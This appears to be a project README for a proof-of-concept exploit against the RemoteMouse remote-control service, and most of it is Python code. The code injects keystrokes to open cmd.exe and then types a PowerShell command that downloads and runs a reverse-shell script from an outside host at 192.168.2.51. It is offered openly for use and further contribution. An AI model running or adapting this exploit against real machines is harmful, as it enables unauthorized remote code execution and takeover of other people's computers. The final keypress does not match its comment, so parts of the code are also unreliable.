The RemoteMouse application is a program for remotely controlling a computer from a phone or tablet. This exploit allows to connect to the remote RemoteMouse service to virtually press arbitrary keys and execute code on the machine.
poc.mp4
remotemouse = RemoteMouse(host=options.target_ip, verbose=options.verbose)
# Press Win + R
remotemouse._send_command(Keymap.KEY_WIN)
# Type cmd.exe
remotemouse.keyboard.press(Keymap.KEY_BACKSPACE)
remotemouse.keyboard.type("cmd.exe")
remotemouse.keyboard.press(Keymap.KEY_RETURN)
# Wait for cmd.exe to start
time.sleep(0.5)
# Payload
cmd = "powershell -c \"iex (New-Object Net.WebClient).DownloadString('http://192.168.2.51:8000/revshell.ps1')\""
# Send payload char by char
remotemouse.keyboard.type(cmd)
# Press enter to execute payload
remotemouse.keyboard.press(Keymap.KEY_WIN)
Pull requests are welcome. Feel free to open an issue if you want to add other features.